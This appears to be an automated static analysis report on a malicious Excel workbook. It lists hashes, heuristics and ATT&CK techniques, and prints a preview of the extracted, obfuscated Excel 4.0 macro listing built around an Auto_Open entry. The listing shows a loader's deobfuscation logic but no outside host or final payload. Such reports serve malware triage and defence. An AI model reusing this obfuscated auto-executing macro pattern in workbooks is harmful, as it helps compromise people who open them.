Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 91efa2150ed51bfe…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:37:48 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 21f040669eb771400b2997f420fb3308 SHA-1: a76a991759f2ae223327d5f1c98034cd7975fbec SHA-256: 91efa2150ed51bfebb3ea582d562a3f349bfa179f0c8e384d7a576fc37dd994b
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a known method for executing malicious code upon opening the workbook. The presence of dangerous formula APIs like RUN indicates an intent to execute arbitrary commands. While the exact payload is not discernible from the provided evidence, the technique strongly suggests an attempt to compromise the user's system.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6867 bytes
SHA-256: f2b6a6721d30a2503f7da56b116ba8b5815350bcd59f548bcc0788554179c17d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 38 identifiers look randomly generated (e.g. 'gfsjnQQFCJkY') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  onzDijVlgDe
' 0018     25 LABEL : Cell Value, String Constant - AOhjUuwiCU len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B192 
' 0018     21 LABEL : Cell Value, String Constant - BcxRZo len=0 
' 0018     23 LABEL : Cell Value, String Constant - bxRpZSKH len=0 
' 0018     23 LABEL : Cell Value, String Constant - drICNwRU len=0 
' 0018     22 LABEL : Cell Value, String Constant - fMzErhm len=0 
' 0018     25 LABEL : Cell Value, String Constant - fvrvuhoTsX len=0 
' 0018     27 LABEL : Cell Value, String Constant - gfsjnQQFCJkY len=0 
' 0018     21 LABEL : Cell Value, String Constant - gWCNmO len=0 
' 0018     25 LABEL : Cell Value, String Constant - gZXwGXLLib len=0 
' 0018     26 LABEL : Cell Value, String Constant - HppPrJXqeRw len=0 
' 0018     24 LABEL : Cell Value, String Constant - IPlHKiHpp len=0 
' 0018     23 LABEL : Cell Value, String Constant - issLTmDZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - SAXvS len=0 
' 0018     22 LABEL : Cell Value, String Constant - SEOdFrL len=0 
' 0018     26 LABEL : Cell Value, String Constant - sIGvwMpoJEQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - VcuWo len=0 
' 0018     26 LABEL : Cell Value, String Constant - XZCssBPbQet len=0 
' 0018     21 LABEL : Cell Value, String Constant - yBotEH len=0 
' 0018     22 LABEL : Cell Value, String Constant - yHXXQkn len=0 
' 0018     26 LABEL : Cell Value, String Constant - YQCTtJfLCLd len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  onzDijVlgDe,S69,"",-206.00000000000000000000
'  onzDijVlgDe,S70,"",-322.00000000000000000000
'  onzDijVlgDe,S71,"",-912.00000000000000000000
'  onzDijVlgDe,S72,"",-201.00000000000000000000
'  onzDijVlgDe,S73,"",605.00000000000000000000
'  onzDijVlgDe,S74,"",-414.00000000000000000000
'  onzDijVlgDe,B95,"SET.NAME("VcuWo",0+VALUE("0"))",""
'  onzDijVlgDe,B98,"SET.NAME("yHXXQkn",VcuWo)",""
'  onzDijVlgDe,B102,"SET.NAME("gWCNmO",VcuWo)",""
'  onzDijVlgDe,B105,"SET.NAME("issLTmDZ",COUNTA(gfsjnQQFCJkY))",""
'  onzDijVlgDe,B107,"SET.NAME("gZXwGXLLib",COUNTA(drICNwRU))",""
'  onzDijVlgDe,B109,[],""
'  onzDijVlgDe,B111,"SET.NAME("HppPrJXqeRw","")",""
'  onzDijVlgDe,B116,"yHXXQkn",""
'  onzDijVlgDe,B121,"SET.NAME("AOhjUuwiCU",HLOOKUP("*",gfsjnQQFCJkY,yHXXQkn,FALSE))",""
'  onzDijVlgDe,B123,"SEOdFrL",""
'  onzDijVlgDe,B128,"SET.NAME("fMzErhm",VcuWo)",""
'  onzDijVlgDe,B131,[],""
'  onzDijVlgDe,B133,"fMzErhm",""
'  onzDijVlgDe,B137,"YQCTtJfLCLd",""
'  onzDijVlgDe,B142,"fvrvuhoTsX",""
'  onzDijVlgDe,B147,"IPlHKiHpp",""
'  onzDijVlgDe,B151,"SET.NAME("bxRpZSKH",VALUE(HLOOKUP("*",drICNwRU,IPlHKiHpp,FALSE)))",""
'  onzDijVlgDe,B155,"XZCssBPbQet",""
'  onzDijVlgDe,B160,"HppPrJXqeRw",""
'  onzDijVlgDe,B162,"gWCNmO",""
'  onzDijVlgDe,B166,NEXT(),""
'  onzDijVlgDe,B169,"yBotEH",""
'  onzDijVlgDe,B174,[],""
'  onzDijVlgDe,B178,"sIGvwMpoJEQ",""
'  onzDijVlgDe,B182,NEXT(),""
'  onzDijVlgDe,B187,RETURN(),""
'  onzDijVlgDe,B222,"SET.NAME("BcxRZo",B95)",""
'  onzDijVlgDe,B227,"gfsjnQQFCJkY",""
'  onzDijVlgDe,B231,"SET.NAME("drICNwRU",R82C11)",""
'  onzDijVlgDe,B234,"SET.NAME("sIGvwMpoJEQ",241)",""
'  onzDijVlgDe,B238,"SET.NAME("SAXvS",2)",""
'  onzDijVlgDe,B240,BcxRZo(),""
'  onzDijVlgDe,B241,HALT(),""

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